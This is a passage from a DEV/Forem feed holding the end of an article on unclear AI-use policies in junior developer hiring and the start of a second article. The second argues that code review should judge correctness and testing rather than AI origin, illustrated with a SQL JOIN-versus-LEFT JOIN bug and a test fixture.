&lt;li&gt;which tools are approved&lt;/li&gt;
&lt;li&gt;whether generated code is allowed&lt;/li&gt;
&lt;li&gt;whether AI use must be disclosed&lt;/li&gt;
&lt;li&gt;whether candidates may use AI in take-home assignments&lt;/li&gt;
&lt;li&gt;whether company code can be pasted into tools&lt;/li&gt;
&lt;li&gt;whether AI is allowed for learning but not implementation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That ambiguity matters because juniors are the least powerful people in the hiring process.&lt;/p&gt;

&lt;p&gt;Ambiguous rules usually punish the least powerful person first.&lt;/p&gt;

&lt;h2&gt;
  
  
  "Use AI, but not like that" is not a policy
&lt;/h2&gt;

&lt;p&gt;A lot of companies have a vibe instead of a policy.&lt;/p&gt;

&lt;p&gt;The vibe sounds like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We want people who use modern tools.&lt;/li&gt;
&lt;li&gt;We value productivity.&lt;/li&gt;
&lt;li&gt;We are exploring AI.&lt;/li&gt;
&lt;li&gt;Do not submit AI slop.&lt;/li&gt;
&lt;li&gt;Use common sense.&lt;/li&gt;
&lt;li&gt;We can tell when something is generated.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not governance. That is a collection of future arguments.&lt;/p&gt;

&lt;p&gt;A real policy answers operational questions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy area&lt;/th&gt;
&lt;th&gt;Clear answer needed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Approved tools&lt;/td&gt;
&lt;td&gt;Which tools can employees use?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data privacy&lt;/td&gt;
&lt;td&gt;What code, logs, tickets, or customer data may be pasted?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Generated code&lt;/td&gt;
&lt;td&gt;Is generated implementation allowed?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Learning use&lt;/td&gt;
&lt;td&gt;Can AI explain code, docs, errors, and concepts?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosure&lt;/td&gt;
&lt;td&gt;When must AI assistance be mentioned in a PR?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Review&lt;/td&gt;
&lt;td&gt;What extra review is required for risky code?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Interviews&lt;/td&gt;
&lt;td&gt;Can candidates use AI during take-homes or live screens?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement&lt;/td&gt;
&lt;td&gt;What happens when rules are unclear or violated?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Without that, companies are not evaluating judgment. They are evaluating whether candidates guessed the hidden rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do not trust the output blindly
&lt;/h2&gt;

&lt;p&gt;AI output should not be trusted blindly.&lt;/p&gt;

&lt;p&gt;Stack Overflow's 2025 survey says more developers distrust AI output accuracy than trust it: 46% versus 33%. The most common frustration is that AI solutions are "almost right, but not quite." [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" alt="Chart: Stack Overflow 2025 shows 46% distrust AI output accuracy, 33% trust it, and 66% cite almost-right answers as a frustration" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That warning matters. It does not justify lazy anti-AI rules.&lt;/p&gt;

&lt;p&gt;It supports a verification standard:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can the developer explain the code?&lt;/li&gt;
&lt;li&gt;Did they test the risky behavior?&lt;/li&gt;
&lt;li&gt;Did they compare output against docs?&lt;/li&gt;
&lt;li&gt;Did they reject bad suggestions?&lt;/li&gt;
&lt;li&gt;Did they disclose meaningful assistance?&lt;/li&gt;
&lt;li&gt;Did they protect private data?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is better than:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"No AI."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is also better than:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Use AI to move faster, but we will punish you if we dislike the result."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Hiring managers often do not know what they want
&lt;/h2&gt;

&lt;p&gt;Many hiring managers are trying to hire for a role they have not defined.&lt;/p&gt;

&lt;p&gt;They want:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AI-literate but not AI-dependent&lt;/li&gt;
&lt;li&gt;junior but production-ready&lt;/li&gt;
&lt;li&gt;independent but coachable&lt;/li&gt;
&lt;li&gt;full-stack but cheap&lt;/li&gt;
&lt;li&gt;fast but careful&lt;/li&gt;
&lt;li&gt;transparent but not risky&lt;/li&gt;
&lt;li&gt;modern but compliant with unstated policy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not a candidate profile. It is unresolved leadership tension.&lt;/p&gt;

&lt;p&gt;The job description turns into a contradiction because the team has not decided what kind of developer it actually needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Evaluate AI use directly
&lt;/h2&gt;

&lt;p&gt;Companies should stop pretending candidates are not using AI. Evaluate how they use it.&lt;/p&gt;

&lt;p&gt;A good interview prompt could be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Here is a small function with a bug.
You may use AI as you normally would.
When you submit the fix, include:
- what you asked
- what the tool got wrong
- what you verified
- what tests you added
- what you would want reviewed before production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That tests judgment, not theater. It also reflects how real work is increasingly done.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bad AI use versus professional AI use
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lazy AI use&lt;/th&gt;
&lt;th&gt;Professional AI use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Paste generated output&lt;/td&gt;
&lt;td&gt;Own the final code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust confident answers&lt;/td&gt;
&lt;td&gt;Verify against docs and tests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hide tool use&lt;/td&gt;
&lt;td&gt;Disclose when required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ignore security and privacy&lt;/td&gt;
&lt;td&gt;Use approved tools and data rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skip fundamentals&lt;/td&gt;
&lt;td&gt;Use AI to strengthen fundamentals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treat AI as authority&lt;/td&gt;
&lt;td&gt;Treat AI as a fallible assistant&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is the distinction hiring should measure: not whether the candidate touched AI, but whether the candidate can use it without outsourcing judgment.&lt;/p&gt;

&lt;h2&gt;
  
  
  The learning-resource problem is real
&lt;/h2&gt;

&lt;p&gt;AI is becoming the default learning layer partly because older learning paths are fragmented.&lt;/p&gt;

&lt;p&gt;The modern junior is trying to stitch together:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;official docs&lt;/li&gt;
&lt;li&gt;old Stack Overflow answers&lt;/li&gt;
&lt;li&gt;framework changelogs&lt;/li&gt;
&lt;li&gt;YouTube tutorials&lt;/li&gt;
&lt;li&gt;Discord threads&lt;/li&gt;
&lt;li&gt;GitHub issues&lt;/li&gt;
&lt;li&gt;blog posts&lt;/li&gt;
&lt;li&gt;paid courses&lt;/li&gt;
&lt;li&gt;outdated examples&lt;/li&gt;
&lt;li&gt;internal docs if they are lucky&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI sits on top of that mess and gives a conversational way to ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What changed between versions?&lt;/li&gt;
&lt;li&gt;Why does this error happen?&lt;/li&gt;
&lt;li&gt;What should I search next?&lt;/li&gt;
&lt;li&gt;Can you explain this code like I am new to the repo?&lt;/li&gt;
&lt;li&gt;What test cases should I consider?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not a replacement for learning. It is a learning interface.&lt;/p&gt;

&lt;p&gt;Companies that do not understand that will keep misreading AI use as laziness.&lt;/p&gt;

&lt;h2&gt;
  
  
  The research points back to training
&lt;/h2&gt;

&lt;p&gt;The paper &lt;em&gt;The Widening Gap&lt;/em&gt; found that generative AI can help novice programmers, but weaker learners may accept incorrect suggestions more easily. [&lt;a href="https://arxiv.org/abs/2405.17739" rel="noopener noreferrer"&gt;The Widening Gap&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;A 2025 systematic literature review on junior developers adopting LLMs found both positive and negative perceptions in most of the studies reviewed. [&lt;a href="https://arxiv.org/abs/2503.07556" rel="noopener noreferrer"&gt;Junior developers and LLMs SLR&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;That points back to training: AI literacy has to be taught, not assumed and not banned by reflex.&lt;/p&gt;

&lt;h2&gt;
  
  
  A policy that actually says something
&lt;/h2&gt;

&lt;p&gt;A serious AI policy for junior developers could say:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Approved tools only&lt;/td&gt;
&lt;td&gt;Prevents data leakage and tool sprawl.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No private code in unapproved tools&lt;/td&gt;
&lt;td&gt;Protects IP and customer data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosure for material assistance&lt;/td&gt;
&lt;td&gt;Keeps review honest.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tests required for generated logic&lt;/td&gt;
&lt;td&gt;Verifies behavior.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Human review for risky domains&lt;/td&gt;
&lt;td&gt;Auth, payments, permissions, infrastructure, data access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI allowed for learning&lt;/td&gt;
&lt;td&gt;Explanation, docs, debugging, practice tasks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Developer owns final output&lt;/td&gt;
&lt;td&gt;No hiding behind the model.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is not anti-AI. That is professional.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;AI policy is now part of junior hiring. Companies can either define it clearly or keep using it as hidden gatekeeping.&lt;/p&gt;

&lt;p&gt;The serious path is obvious:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;allow learning&lt;/li&gt;
&lt;li&gt;protect private data&lt;/li&gt;
&lt;li&gt;require verification&lt;/li&gt;
&lt;li&gt;inspect the work&lt;/li&gt;
&lt;li&gt;teach the judgment&lt;/li&gt;
&lt;li&gt;stop pretending AI is not part of the modern developer stack&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Juniors do not need permission to be reckless. They need clear rules for being responsible.&lt;/p&gt;

&lt;p&gt;If companies cannot provide those rules, they should stop calling the confusion a candidate-quality problem.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/ai" class="crayons-btn crayons-btn--primary"&gt;Interested in AI tooling, junior developers, and hiring? Explore #ai on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>career</category>
      <category>careerdevelopment</category>
      <category>hiring</category>
      <category>leadership</category>
    </item>
    <item>
      <title>Review the Logic, Not Whether the Junior Used AI</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:36:56 +0000</pubDate>
      <link>https://forem.com/bradleymatera/review-the-logic-not-whether-the-junior-used-ai-3f5j</link>
      <guid>https://forem.com/bradleymatera/review-the-logic-not-whether-the-junior-used-ai-3f5j</guid>
      <description>&lt;p&gt;Code review has a new lazy question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Did AI write this?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sometimes that question matters.&lt;/p&gt;

&lt;p&gt;If private code was pasted into an unapproved tool, it matters.&lt;/p&gt;

&lt;p&gt;If generated code was shipped without understanding, it matters.&lt;/p&gt;

&lt;p&gt;If the team has a compliance policy, it matters.&lt;/p&gt;

&lt;p&gt;But as a review standard, that question is weak.&lt;/p&gt;

&lt;p&gt;The better question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Is this code correct, tested, maintainable, and owned by the person submitting it?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That standard catches bad AI code. It also catches bad human code.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/quixyofficial-coding-programming-programmer-XFwz7MTThaOVQ9RhB5" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExajQ4cWJtbHhxaDhwamtqYWRmM2NwYTVlYTZ2eGF3aXdpMXlubXdlYyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FXFwz7MTThaOVQ9RhB5%2Fgiphy.webp" height="270" class="m-0" width="480"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/quixyofficial-coding-programming-programmer-XFwz7MTThaOVQ9RhB5" rel="noopener noreferrer" class="c-link"&gt;
            Coding Computer Science GIF by Quixy - Find &amp;amp; Share on GIPHY
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Coding Computer Science GIF by Quixy with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  AI panic can hide ordinary review failures
&lt;/h2&gt;

&lt;p&gt;Take a SQL example.&lt;/p&gt;

&lt;p&gt;A report needs to include analytics events even when the segment reference is missing, because missing references are part of the data-quality signal.&lt;/p&gt;

&lt;p&gt;The wrong query looks clean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;segment_id&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;analytics_events&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;segments&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;segment_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deleted_at&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem is the &lt;code&gt;JOIN&lt;/code&gt;. It drops rows without matching segment records.&lt;/p&gt;

&lt;p&gt;If missing segment references are supposed to remain visible, the query needs a &lt;code&gt;LEFT JOIN&lt;/code&gt; and an explicit signal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
  &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;segment_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;missing_segment&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;analytics_events&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;segments&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;segment_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deleted_at&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That bug has nothing to do with whether AI was used.&lt;/p&gt;

&lt;p&gt;A human can make it. AI can make it. A rushed senior can make it. A junior can make it.&lt;/p&gt;

&lt;p&gt;The review should catch it either way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code review is supposed to teach and protect
&lt;/h2&gt;

&lt;p&gt;Research on code review does not describe it as a rubber stamp.&lt;/p&gt;

&lt;p&gt;The 2013 paper &lt;a href="https://2013.icse-conferences.org/content/expectations-outcomes-and-challenges-modern-code-review.html" rel="noopener noreferrer"&gt;Expectations, Outcomes, and Challenges of Modern Code Review&lt;/a&gt; found that while defect finding remains a major motivation, code review also supports knowledge transfer, team awareness, and alternative solution discovery.&lt;/p&gt;

&lt;p&gt;Google's 2018 paper &lt;a href="https://research.google/pubs/pub47025/" rel="noopener noreferrer"&gt;Modern Code Review: A Case Study at Google&lt;/a&gt; describes review as serving readability, education, maintainability, and correctness goals.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-3ff08044-beeb-4510-bafa-2121814c757b" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-3ff08044-beeb-4510-bafa-2121814c757b" alt="Chart: Code review research from 2013 and 2018 frames review as knowledge transfer, education, maintainability, and correctness work" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: &lt;a href="https://2013.icse-conferences.org/content/expectations-outcomes-and-challenges-modern-code-review.html" rel="noopener noreferrer"&gt;ICSE 2013 modern code review paper&lt;/a&gt; and &lt;a href="https://research.google/pubs/pub47025/" rel="noopener noreferrer"&gt;Google Modern Code Review case study&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That matters for juniors. If review only says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This looks AI-generated."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is not teaching anything useful.&lt;/p&gt;

&lt;p&gt;If review says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This join drops orphaned events. Add a fixture that proves missing segments stay visible."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That teaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ask review questions that expose behavior
&lt;/h2&gt;

&lt;p&gt;Here is the shift teams need:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Weak review question&lt;/th&gt;
&lt;th&gt;Strong review question&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Did AI write this?&lt;/td&gt;
&lt;td&gt;Can the author explain the logic?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is this generated?&lt;/td&gt;
&lt;td&gt;What behavior does this guarantee?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does it look clean?&lt;/td&gt;
&lt;td&gt;What data does it drop?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Did the junior follow policy?&lt;/td&gt;
&lt;td&gt;Did the reviewer verify the assumption?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Is this allowed?&lt;/td&gt;
&lt;td&gt;What risk does this introduce?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can we reject it?&lt;/td&gt;
&lt;td&gt;What test would make it safe?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The tool-origin question is not useless. It is just not enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI disclosure should be boring
&lt;/h2&gt;

&lt;p&gt;Teams need policies that make disclosure normal.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI assistance:
- used AI to understand the existing SQL join behavior
- used AI to brainstorm edge cases
- final query was manually reviewed and tested

Validation:
- added fixture for missing segment reference
- verified deleted events are excluded
- verified active orphaned events remain visible
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a reviewable note.&lt;/p&gt;

&lt;p&gt;It gives the reviewer a path:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;inspect the behavior&lt;/li&gt;
&lt;li&gt;inspect the test&lt;/li&gt;
&lt;li&gt;ask what was rejected&lt;/li&gt;
&lt;li&gt;verify the edge case&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Compare that with the usual vague policy:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Use AI responsibly."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is not a policy. That is a future argument.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tests are where the tool debate gets real
&lt;/h2&gt;

&lt;p&gt;For the SQL example, a useful test fixture includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;event with valid segment&lt;/li&gt;
&lt;li&gt;event with missing segment&lt;/li&gt;
&lt;li&gt;deleted event&lt;/li&gt;
&lt;li&gt;expected output that preserves the missing-segment row&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;preserves active analytics events with missing segment references&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;seedAnalyticsEvent&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;segmentId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;known-segment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;deletedAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;seedAnalyticsEvent&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;segmentId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;missing-segment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;deletedAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
